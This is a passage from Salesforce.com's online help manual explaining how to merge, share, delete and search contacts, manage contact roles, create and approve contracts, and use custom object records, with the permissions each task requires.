Because of its flexibility, this feature will not prevent you from selecting Reports To contacts from other accounts.

Merging Duplicate Contacts


Available in: All Editions
Customer Portal is available in: Enterprise, Unlimited, and Developer Editions
Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed


To merge contacts: “Delete” on contacts
To merge Customer Portal enabled contacts:
“Delete” on contacts
AND
“Edit Self-Service Users”
To merge partner portal enabled contacts: “Delete” on contacts
AND
“Manage Partners”

To merge duplicate contacts associated with a common account:

164
Contacts Merging Duplicate Contacts

1. From the Contacts related list of an account, click Merge Contacts.


2. Check the rows of up to three contacts you want to merge. You can search the list of associated contacts to shorten the
list, or click All Contacts to view the full list of associated contacts. Click Next to continue.
3. Select one contact as the Master Record. Any data in hidden or read-only fields will be taken from the Master Record.
However, administrators, and users with the “Edit Read Only Fields” permission, can manually select which read-only
fields to retain. Note that hidden fields are not displayed.
4. Select the partner portal or Customer Portal user you want to retain.
This option is only available if a partner portal or Customer Portal is enabled for your organization.
You can select Not a portal user so that a merged contact does not include a portal user.
5. Select the fields that you want to retain from each record.
When there is conflicting data, the fields in the left column are preselected and the row is marked in purple.
6. Click the Merge button to complete the merge.

Tips for Merging Contacts


Consider the following when merging contacts:
• Any related items from any of the duplicate contacts will be associated with the merged contact.
• If you are merging duplicate contacts that are members of different campaigns, the campaign Member Status Updated
date for each contact is retained and associated with the newly merged contact.
• Before merging contacts that both have active Self-Service usernames, deactivate one Self-Service username. The merged
record will adopt the active Self-Service username.
• Any account sharing and manual sharing for the master contact are applied to the newly merged contact.
• When you merge contacts that have Reports To relationships, the newly merged contact retains the Reports To field
from the selected Master Record.
• All discarded duplicate records are moved to the Recycle Bin.
• The newly merged contact displays the Created By date from the oldest contact you are merging, and shows the merge
date as the Modified By date.
• In organizations that use divisions, the merged contact is assigned to the division of the related account.
• Merging contacts is not tracked in the setup audit trail.
• You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in the organization
role hierarchy, and if you have the appropriate user permission.
• The newly merged contact is automatically included on any case teams in which the contacts were associated.
• The master contact automatically replaces the duplicate contacts in all the requested meetings they were invited to. Also,
all meeting messages written by the duplicate contacts are automatically associated with the master contact. (Meeting
messages appear on the requested meeting's Web page and are visible to all invitees.)

Tips for Merging Contacts with Portal Users


Consider the following when merging contacts associated with portal users:
• The information in Tips for Merging Contacts also applies to merging contacts associated with portals users.
• You can merge a portal contact record with another portal contact. For example, you can merge contacts enabled to use:
- A partner portal or Customer Portal.
- A partner portal with contacts enabled to use a Customer Portal or vice-versa.
- A partner portal or Customer Portal with contacts that are not enabled to use a portal.

165
Contacts Sharing Contacts

• When you merge contacts that include partner portal and Customer Portal users, you must choose which type of portal
user to retain. The portal user you do not retain is disabled. However, after the contacts are merged, you can enable the
contact for access to the portal from which you removed during the merge process.
• To merge contacts associated with various accounts:
1. Transfer the contacts you want to merge into one account.
2. Merge the contacts associated with the common account.

• Portal users who are disabled during the merge process retain ownership of any records in which they are the owner. For
example, if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case
is updated with a new owner.

See Also:
Merging Duplicate Accounts
Enabling the Customer Portal for Contacts and Person Accounts
Creating Partner Users

Sharing Contacts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model for contact access. However, you can extend sharing privileges
for your own data on a contact-by-contact basis. Use contact sharing to increase access to your contacts; you cannot restrict
access beyond your organization's default access levels.
To view and manage sharing details, click Sharing on the contact detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the contact. On this page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

Special Considerations
• Make sure you are sharing records with users who have the appropriate “Read” object permission on their profiles for
viewing the shared records.
• You cannot manually share a private contact (a contact without an account).
• If you have permission to share an account, Salesforce.com automatically provides “Read” access to the associated account
when granting sharing access to a contact if the recipient does not already have it. If the recipient does not have access to
the account, you cannot share the contact unless you have permission to share the account as well.
• If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.
• Contact sharing is not available for organizations that have territory management or person accounts.

166
Contacts Sending Stay-in-Touch Requests

- If your organization already has person accounts enabled, the organization-wide default for contacts is set to Controlled
by Parent and is not editable.
- If your organization does not have person accounts yet you want to enable one of them, set your organization-wide
default for contacts to Controlled by Parent, which removes all your contact sharing rules and manually shared contacts.

See Also:
Granting Access to Records
Viewing Which Users Have Access

Sending Stay-in-Touch Requests


Available in: All Editions

User Permissions Needed


To request updates: “Send Stay-in-Touch Requests”

A quick and easy way to retrieve updated contact information from your contacts and person accounts is to send Stay-in-Touch
requests. You can request updates from:

• Contacts you own


• Contacts associated with accounts you own
• Contacts you can edit due to a sharing rule or manual record sharing
• Person accounts you own

Note: The record must have a valid email address.

How it Works
1. On the detail page of a contact or person account, click Request Update either at the top of the page or in the Activity
History related list.
2. An outgoing email is created according to your personal Stay-in-Touch settings. As needed, edit the details of the email.
If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the message. Spell Checker
does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages,
such as Japanese, Korean, or Chinese, are not supported. Click Send to send the email.
3. The recipient receives the email and clicks a link to either provide updates or confirm no changes are necessary.
4. You receive an email notification. Click the link in the email to update, review, and accept or reject the new information.

167
Contacts Sending Stay-in-Touch Requests

Note: To send individual Stay-in-Touch requests, you must have the “Send Email” permission. You can send individual
Stay-in-Touch requests regardless of the recipient’s Email Opt Out setting.

See Also:
Editing Stay-in-Touch Settings
Merging Updated Contact Information
Mass Stay-in-Touch Update
What is a Person Account?

Merging Updated Contact Information


When someone responds to a Stay-in-Touch request, you will receive an email that contains a link. To merge the new
information into Salesforce.com:

1. Click Update Now from the email you receive.


2. Review the new and original values.
3. Click Accept Changes to save the new data. Click Reject Changes to ignore the updates and retain the original values.

Note: These updates do not trigger workflow rules.

See Also:
Sending Stay-in-Touch Requests

Mass Stay-in-Touch Update


Available in: All Editions

User Permissions Needed


To send mass Stay-in-Touch updates: “Send Email”
AND
“Send Stay-in-Touch Requests”

Use the Mass Stay-in-Touch wizard to request updated contact information from multiple contacts and person accounts
simultaneously.
To send a mass Stay-in-Touch email:

1. On the contacts home page, click Mass Stay-in-Touch from the Tools section.

168
Contacts Deleting Contacts

If your organization uses person accounts, the link also appears on the accounts home page.
2. Select a list view of contacts and person accounts from whom you are requesting updated information. You can also edit
existing list views and create new list views.
3. Click Go.
4. Select the individuals to whom the request will be sent. Note that records which lack email addresses cannot be selected.
Click Next to continue.
5. Review the email to be sent and click Send.

Recipients can reply to you via email with their latest information. You can merge these updates as you receive them.
Note: Records in which the Email Opt Out box is checked do not appear in the list view, because you cannot send
mass emails to them.

See Also:
Sending Stay-in-Touch Requests
Editing Stay-in-Touch Settings
Merging Updated Contact Information

Deleting Contacts
Available in: All Editions

User Permissions Needed


To delete contacts: “Delete” on contacts

To delete a contact, click Del next to the contact on the contacts list page or in the Contacts related list of an account. You
can also delete a contact by clicking Delete on the contact detail page.
When you delete a contact, all related assets, campaign history, events, tasks, notes, and attachments are also deleted. You do
not need the “Delete” permission on any associated records that are included in the deletion. Associated opportunities, accounts,
entitlements, and cases are not deleted with the contact. The deleted contact is moved to the Recycle Bin. If you undelete the
contact, any related items are also restored including any inactive Self-Service username.
You cannot delete contacts that have associated:

• Cases
• Contracts
• Service contracts
• Partner user
• Assets with cases
• An active Self-Service user
• An active Customer Portal user

169
Contacts Searching for Contacts

Note: You can delete a contact if you are an administrator, the contact owner, or a user above the contact owner in
the organization role hierarchy, and if you have the appropriate user permission.

See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Contacts

Searching for Contacts


Available in: All Editions

User Permissions Needed


To view contacts: “Read” on contacts
To view person accounts: “Read” on accounts and contacts

To find specific contacts:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
If you are using local contact names, a search finds matches for either the standard contact names or local contact names.
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.
You can also create a contact list view to locate contacts that match specific criteria.

See Also:
What is a Person Account?

170
Contact Roles Contact Roles Overview

CONTACT ROLES

Contact Roles Overview


Available in: All Editions

A contact role defines the part that a contact or person account plays in a specific account, case, contract, or opportunity. For
example, Tom Jones might be the Decision Maker for the opportunity, and Mary Smith might be the Evaluator. You can
assign a contact role to any contact or person account that affects your account, case, contract, or opportunity. Contacts and
person accounts can have different contact roles on various accounts, cases, contracts, or opportunities.
The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.
Note: Users must have the appropriate user permissions and sharing access to view the contact information for any
person listed in the appropriate contact roles related lists.

See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?

171
Contact Roles Viewing and Editing Contact Roles

Viewing and Editing Contact Roles


Available in: All Editions

User Permissions Needed


To view contact roles: “Read” on accounts, cases, contracts, or opportunities
To edit contact roles: “Edit” on the related object, such as accounts, cases, contracts,
or opportunities
AND
“Read” on contacts

The Contact Roles related list of an account, case, contract, or opportunity displays the roles that each contact or person
account plays in that record. On person account detail pages, the Opportunity Contact Roles related list displays the opportunities
on which the person account is listed in the Account Name field of the opportunity.

• To add a contact role for the account, case, contract, or opportunity, click New in the Contact Roles related list. See Adding
Contact Roles on page 173.
• To send an email to all contact roles on a case, click Send an Email in the Contact Roles related list. See Sending Email
on page 209. If a contact role does not have an email address specified on his or her contact record, the contact is not
included in the email.
• To update a contact role, click Edit next to a contact role. Click Save when you have finished making changes.
• To mark a contact or person account as primary on the account, contract, or opportunity, click Edit next to the contact
role entry, and select the Primary option.
Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the
contact listed under Contact Name in the Case Detail section.

• To delete a contact role, click Del next to the contact role you want to delete.
• To create an opportunity related to a person account, click New in the Opportunity Contact Roles related list on a person
account.

See Also:
Contact Roles Overview
Adding Contact Roles
Contact Role Fields
What is a Person Account?

172
Contact Roles Adding Contact Roles

Adding Contact Roles


Available in: All Editions

User Permissions Needed


To add contact roles: “Edit” on the related object, such as accounts, cases, contracts,
or opportunities
AND
“Read” on contacts

To assign a contact role to a contact or person account:

1. Click New in the Contact Roles related list of an account, case, contract, or opportunity.
2. Click the lookup icon to select a contact or person account. Optionally, click New to create a new contact.
When you add or edit contact roles on an opportunity that is associated with a business account, the page automatically
displays the contacts for that business account. If the business account has more than 50 contacts, the contacts are not
automatically displayed, and you must use the lookup icon to select a contact.
3. Choose a role.
4. Optionally, select Primary to set the contact or person account as primary for the account, contract, or opportunity.
Note: On case contact roles, the Primary option is not available. The primary contact on a case is always the
contact listed under Contact Name in the Case Detail section.

5. Click Save.

When you create an opportunity from a contact detail page, that contact automatically becomes the primary contact on the
opportunity. However, a contact role is not automatically assigned.
Tip: Adding person accounts in contact roles on accounts is available but not recommended. As a best practice, we
recommend using the Partners related list to associate person accounts with other accounts.

See Also:
Contact Roles Overview
Viewing and Editing Contact Roles
Contact Role Fields
What is a Person Account?

173
Contracts Contact Role Fields

Contact Role Fields


Available in: All Editions

A contact role has the following fields, listed in alphabetical order.

Field Description
Contact Name of contact or person account. You can use the lookup
icon to either select someone or create a contact.
Primary Option that specifies the contact or person account as primary
for the record.
Note that on case contact roles, the Primary option is not
available. The primary contact on a case is always the contact
listed under Contact Name in the Case Detail section.

Role Participating role in the account, case, contract, or opportunity,


for example, Buyer, Decision Maker, or Evaluator. (Selections
for this picklist can be customized by your administrator.)

See Also:
Viewing and Editing Contact Roles
Adding Contact Roles
What is a Person Account?

CONTRACTS

Contracts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract is a written agreement between two or more parties. Many companies use contracts to define the terms for doing
business with other companies.
Use Salesforce.com to establish and document the contracts you have with your accounts. Then, track the contract through
your organization’s approval process and use workflow alerts to notify yourself when to initiate contract renewals.

174
Contracts Contracts Home

Displaying The Contracts Tab


The Contracts tab is automatically displayed for all users. If your Contracts tab is not visible, you can customize your display
to show it. For more information, see Customizing Your Display on page 34.

See Also:
Contracts Home
Administrator tip sheet: Getting Started with Contracts

Contracts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Contracts tab: “Read” on contracts
To view contracts: “Read” on contracts
To create contracts: “Create” on contracts
AND
“Read” on accounts

Click the Contracts tab to display the contracts home page.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• In the Recent Contracts section, select an option from the drop-down list to display a brief list of the top contracts
matching that criteria. From the list, you can select any contract to go directly to the contract detail. Contract Name
displays in this list if you have added it to your contract page layout. Toggle the Show 25 items and Show 10 items links
to change the number of items that display. The fields you see are determined by the “Contracts Tab” search layout defined
by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions
only). The Recent Contracts options are:

Recent Contracts Choice Description


Recently Created The last ten or twenty-five contracts you created, with the
most recently created contract listed first. This list only
includes records owned by you.
Recently Modified The last ten or twenty-five contracts you updated, with the
most recently updated contract listed first. This list only
includes records owned by you.
Recently Viewed The last ten or twenty-five contracts you viewed, with the
most recently viewed contract listed first. This list is derived

175
Contracts Viewing Contract Lists

Recent Contracts Choice Description


from your recent items and includes records owned by you
and other users.
Approval Pending The last ten or twenty-five contracts that have at least one
approval request awaiting your approval. This list includes
records owned by you and other users.

• In the Recent Contracts section, click New to create a new contract.

See Also:
Contracts Overview
Cloning Contracts
Deleting Contracts
Creating Custom List Views
Displaying and Editing Contracts
Creating Contracts

Viewing Contract Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contract lists: “Read” on contracts
To create contracts: “Create” on contracts
AND
“Read“ on accounts

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

The contracts list page displays a list of contracts that match your current view. From this page, you can view detailed contract
information and access related information.

• Click a contract number to view the detail. Click Edit or Del to edit or delete a contract. See Displaying and Editing
Contracts on page 177.
• Choose a predefined view from the drop-down list to display a list of contracts. Alternatively, you can click Create New
View to define your own list view. See Creating Custom List Views on page 219.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.

176
Contracts Displaying and Editing Contracts

• Click New Contract select Contract from the Create New drop-down list in the sidebar to create a contract. These options
display only if you have the “Create” permission on contracts. See Creating Contracts on page 179.
• Click any column heading to sort the contracts in ascending order using that column's information. Click the heading a
second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of contracts.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.

See Also:
Displaying and Editing Contracts
Creating Contracts
Deleting Contracts
Enabling the Customer Portal for Contacts and Person Accounts
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

Displaying and Editing Contracts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts: “Read” on contracts
To change contracts: “Edit” on contracts
AND
“Read” on accounts

To change activated contracts: “Activate Contracts”

Displaying Contracts
Once you have located a contract on the contracts home or list pages, click the contract number to display detailed
information. From an account, click the contract number in the Contracts related list to display the contract. All contracts
associated with the account are listed in the Contracts related list.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

177
Contracts Displaying and Editing Contracts

Editing Contracts
To update a contract, click Edit, and then change the fields that you want to update. When you have finished, click
Save. You can also select Save & New to save the current contract and create another. Users with the “Edit” permission
on contracts can edit contracts until they are activated.
Note: If your organization enabled inline editing, you can edit fields directly on the detail page.

Tagging Contacts
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Contract Related Lists


The lower portion of the display provides a snapshot of key information relating to the contract. The related lists you
see are determined by your personal customization and by any customization your administrator has made to page layouts
or your permissions to view related data. You can click on individual items to display additional detail. Click more at
the bottom of the page or View More below a related list to display more items. Click New to directly add new items.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. If Salesforce
Chatter is enabled, related list hover links display below feeds. Hover your mouse pointer over a related list hover
link to display the corresponding related list and its number of records. An interactive overlay allows you to
quickly view and manage the related list items. You can also click a related list hover link to jump to the content
of the related list without having to scroll down the page.

Printing Contracts
To open a printable display of all information for a record, click Printable View on the detail page.

To return to the last list page you viewed, click Back to list at the top of the contracts detail page. If your organization has
enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the
detail page. For more information, see Navigating on page 9.

See Also:
Contract Approval Requests
Contract History
Contract Fields
Creating Contracts
Cloning Contracts
Deleting Contracts
Searching for Contracts

178
Contracts Creating Contracts

Contract Approval Requests


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Approval Requests related list on a contract detail page tracks the status of each approval request. This list displays
information about each approval request and includes the status and any approve or reject comments. When the status is
Pending, no comment is included.

See Also:
Approving Contracts

Contract History
Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Contract History related list of a contract detail page tracks changes to a contract while its status is either In Approval
Process or Activated. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the
contract, a new entry is added to the Contract History related list. All entries include the date, time, nature of the change, and
who made the change. Modifications to the related lists on the contract are not tracked in the contract history. For information
about setting up which fields are tracked, see Tracking Field History on page 837.

Creating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts: “Read” on contracts
To create contracts: “Create” on contracts
AND
“Read” on accounts

You must have at least read access to an account in order to associate a contract with it. To create a contract:

1. Select Contract from the Create New drop-down list in the sidebar, or click New next to Recent Contracts on the contracts
home page. Select an Account Name to associate the new contract with that account.
Alternatively, view the account record first and click New in the Contracts related list.

179
Contracts Cloning Contracts

2. Choose a contract status.


3. Enter the start date of the contract.
4. Enter the number of months that the new contract will be in effect.
Note: Your administrator may have configured Salesforce.com to calculate Contract End Date based on
Contract Start Date and Contract Term. If Contract End Date is auto-calculated, it will not display
on the contracts edit page.

5. Enter the rest of the information for the new contract. For a definition of each field, see Contract Fields on page 181.
6. Click Save.

The contract is listed under the Contracts related list of the account.
Enterprise, Unlimited, and Developer Edition organizations can activate record types that prompt you to choose a Record
Type when creating a record. This determines the picklist values and status values available when creating and editing a record.
For instructions on enabling record types for contracts, see Managing Record Types on page 1004.
If your organization uses divisions, the division of a new contract is automatically set to the division of the related account.

See Also:
Cloning Contracts
Contract Fields
Contracts Home
Deleting Contracts

Cloning Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts: “Read” on contracts
To clone contracts: “Create” on contracts
AND
“Read” on accounts

The Clone button on a contract quickly creates a new contract with the same information as the existing contract. For example,
you can add multiple contracts for the same account.
Click Clone on an existing contract. Enter or change any information for the new contract and click Save.

180
Contracts Contract Fields

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contract Fields
Deleting Contracts

Contract Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A contract has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

Field Description
Account Name Name of account associated with the contract.
Activated By Name of the person that activated the contract.
Activated Date Activation date of the contract.
Billing Street Street address used for billing. Up to 255 characters are allowed
in this field.
Billing City City portion of billing address. Up to 40 characters are allowed
in this field.
Billing State/Province State or province portion of billing address. Up to 20 characters
are allowed in this field.
Billing Zip/Postal Code Zip or postal code portion of billing address. Up to 20
characters are allowed in this field.
Billing Country Country portion of billing address. Up to 40 characters are
allowed in this field.
Company Signed By User at your organization who authorized the contract.
Company Signed Date Date that the contract was authorized.
Contract Division Division to which the contract belongs. This value is
automatically inherited from the related account. Available
only in organizations that use divisions to segment their data.
Contract End Date Last day the contract is in effect. Your administrator can
configure Salesforce.com to calculate Contract End Date
based on Contract Start Date and Contract Term.

181
Contracts Contract Fields

Field Description
If this field is auto-calculated, it will not display on the
contracts edit page.
Contract Name Title for the contract that distinguishes it from other contracts.
Contract Number Unique number automatically assigned to the contract.
Numbering for contracts starts at “100.” (Read only)
Administrators can modify the format and numbering for this
field. See Modifying Standard Auto-Number Fields on page
797.
Contract Owner User who owns the contract record.
Contract Start Date First day that the contract is in effect.
Contract Term (months) Number of months that the contract is in effect.
Created By User who created the contract record.
Customer Signed By Contact on the account that authorized the contract.
Customer Signed Date Date the contact signed the contract.
Customer Signed Title Title of the contact who signed the contract.
Description Statement describing the contract.
Last Modified By User who most recently changed the contract record.
Owner Expiration Notice Number of days before the contract end date you want to send
the notification, if the contract owner and account owner
wants to be notified of an upcoming contract expiration.
Shipping Street Primary mailing or shipping street address of account. Up to
255 characters are allowed in this field.
Shipping City City portion of primary mailing or shipping address. Up to
40 characters are allowed in this field.
Shipping State/Province State or province portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Zip/Postal Code Zip or postal code portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Country Country portion of primary mailing or shipping address. Up
to 40 characters are allowed in this field.
Special Terms Any terms that you have specifically agreed to and want to
track in the contract.
Status Indicates the stage that the contract has reached in the contract
business process. Your organization can add values to this
picklist within three system-defined contract status categories:
Draft, In Approval Process, and Activated. You

182
Contracts Approving Contracts

Field Description
can use these status categories to track contracts within your
business process using reports and views.
Important: The Status field cannot be updated by
approval processes. If you want to use the contract
status as part of an approval process, Salesforce.com
recommends creating a custom status field.

Custom Links Listing of custom links for contracts set up by your


administrator.

See Also:
Displaying and Editing Contracts
Creating Contracts
Cloning Contracts

Approving Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To approve contracts: “Approve Contracts”

Your organization may already have a process for approving contracts. For example, you may have one person designated for
each team to approve contracts. You may also have one administrator designated to activate contracts. If so, your Salesforce.com
administrator can customize Salesforce.com to give the appropriate people the permissions they need to perform their part of
the contract life-cycle.
Before you begin customizing Salesforce.com, define the life-cycle of a contract in your organization. Use the following basic
contract approval process to get started:

1. A user creates a contract. This user needs to have the “Edit” permission on contracts. All newly created contracts have a
Draft status.
2. The contract owner sends an approval request to have the contract approved by a team lead. The first approval request on
a contract changes its status to In Approval Process.
3. The team lead accepts or rejects the contract approval request. If rejected, the contract owner can make changes to the
contract and submit another approval request. The status remains In Approval Process whether the approval request was
accepted or rejected.
4. If accepted, a contract administrator activates the contract. Users with the “Activate Contracts” permission can activate a
contract. Activating a contract changes the contract status to Activated and makes the contract read only. Activated

183
Contracts Approving Contracts

contracts cannot be changed and only users with the “Delete Activated Contracts” permission can delete a contract with
Activated status.

Sending Approval Requests


To send an approval request for a contract:
1. Select the contract.
2. Click New in the Approval Requests related list.
3. Select the person you want to receive the approval request.
4. Enter any request comments.
5. Click Save. Salesforce.com sends an email approval request to the recipient you selected. The recipient can click a link in
the email to view the contract and click Approve to accept the contract or Reject to return the approval request. All approval
requests are tracked in the Approval Request related list.
Note: Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333
characters.

Receiving Approval Requests


Use the Approval Pending list on the contracts home page to view all the contracts that require your approval. When you
receive an email approval request, click the included link to view the contract.
• Click Approve to accept the contract as is and notify the contract owner that the request is approved. You will be prompted
to select an approval request status and enter any approval request comments. Click Save to send and save the approval
request.
• Click Reject to return the approval request. Select an approval request status and enter any comments that you want
attached to the approval request. Click Save to send your response and save the approval request.
Note: You can use the standard contracts approval functionality alone or together with approval processes.
The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval
process, Salesforce.com recommends creating a custom status field.

See Also:
Activating Contracts
Displaying and Editing Contracts
Creating Contracts

184
Contracts Activating Contracts

Activating Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To activate contracts: “Activate Contracts”
AND
“Read” and “Edit” on contracts

Administrators and users with the “Activate Contracts” permission can activate contracts. To edit an activated contract, a user
must have the “Activate Contracts” permission.
Activating a contract changes the contract status to Activated and makes the contract read only. Activated contracts cannot
be changed and only users with the “Delete Activated Contracts” permission can delete a contract with Activated status. To
activate a contract:

1. Select the contract you want to activate.


2. Click Activate. The status of an activated contract is “Activated.”

See Also:
Approving Contracts
Displaying and Editing Contracts

185
Contracts Deleting Contracts

Deleting Contracts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete inactivated contracts: “Delete” on contracts
AND
“Read” on accounts

To delete activated contracts: “Delete Activated Contracts”


AND
“Read” on accounts

To delete a contract, click Del next to the contract on the contracts list page. You can also delete a contract by clicking Delete
on the contract detail page.
When you delete a contract, all related notes, attachments, events and tasks, history, and approval requests are deleted.
Associated accounts are not deleted with the contract. The deleted contract is moved to the Recycle Bin. If you undelete the
contract, any related items are also restored.

See Also:
Recycle Bin
Activating Contracts

Searching for Contracts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts: “Read” on contracts

To find specific contracts:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.

186
Custom Object Records Custom Object Record Overview

The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

You can also create a contract list view to find contracts that match specific criteria.

See Also:
Search Overview

CUSTOM OBJECT RECORDS

Custom Object Record Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects records store information that is unique and important to you and your organization. For example, your
organization may use a custom object called “Quotes” to store data for your company's sales quotes. You can also use custom
objects for custom applications, such as tracking software enhancements in a development life-cycle.
Your administrator first defines the custom object and its properties, such as custom fields, relationships to other types of data,
page layouts, and a custom user interface tab. Once the custom object is created and deployed to users, you can enter data to
create individual custom object records. If your administrator has created a tab for the custom object, the tab displays a home
page that lets you quickly create and locate custom object records. You can also sort and filter your custom object records using
standard and custom list views. In addition, the tab lets you view and edit detailed information on each custom object record
to which you have access.
Administrators, and users with the “Modify All Data” permission, can import custom objects. See What Is Imported for
Custom Objects? on page 624.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.

See Also:
Custom Objects Home
Defining Custom Objects

187
Custom Object Records Custom Objects Home

Custom Objects Home


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a custom object tab: “Read” on the custom object
To view custom object records: “Read” on the custom object

Clicking on a custom object tab displays the tab home page. The name of a custom object tab is the plural form of the custom
object as defined by your administrator.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. List views let you display a list of records that match specific criteria, such as all custom objects for
a tab or just the ones you own. To edit or delete any view you created, select it from the View drop-down list and click
Edit.
• If custom objects are shared with external contacts via Salesforce to Salesforce, choose one of the list views under [Custom
Object Name] from Connections to view the custom objects that your business partners have shared with you.
• In the Recent section, select an item from the drop-down list to display a brief list of the top custom object records matching
that criteria. From the list, you can click any custom object name to go directly to the detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the “Custom
Object Tab” search layout defined by your administrator and by your field-level security settings (available in Enterprise,
Unlimited, and Developer Editions only). The key list choices are:

Recent Custom Objects Choice Description


Recently Viewed The last ten or twenty-five custom object records you viewed,
with the most recently viewed item listed first. This list is
derived from your recent items and includes records owned
by you and other users.
Recently Created The last ten or twenty-five custom object records you created,
with the most recently created item listed first. This list only
includes records owned by you.
Recently Modified The last ten or twenty-five custom object records you
updated, with the most recently updated item listed first.
This list only includes records owned by you.

188
Custom Object Records Viewing Custom Object Lists

Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.

See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records
Creating Custom List Views
Custom Help Overview
Replacing Salesforce.com Online Help

Viewing Custom Object Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object lists: “Read” on the custom object
To create custom object records: “Create” on the custom object

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

The custom objects list page displays a list of custom object records in your current view. From this page, you can view detailed
custom object record information and access other related information. A list view includes custom object records of one type
only; you cannot view more than one type of custom object in a single list view.
Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.

• Click a custom object name to view the custom object record detail. Click Edit or Del next to a custom object record name
to edit or delete the record. See Displaying and Editing Custom Object Records on page 190.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.
• To take ownership of custom object records in a queue, view the queue list view, check the box next to one or more records,
and then click Accept.

189
Custom Object Records Displaying and Editing Custom Object Records

Note: You can view and accept records only from queues of which you are a member or if you are higher in the
role hierarchy than a queue member. Administrators, users with the “Modify All” object-level permission for the
given object, and users with the “Modify All Data” permission, can view and take records from any queue.

• To transfer ownership of multiple records at once, check the box next to one or more custom object records and click
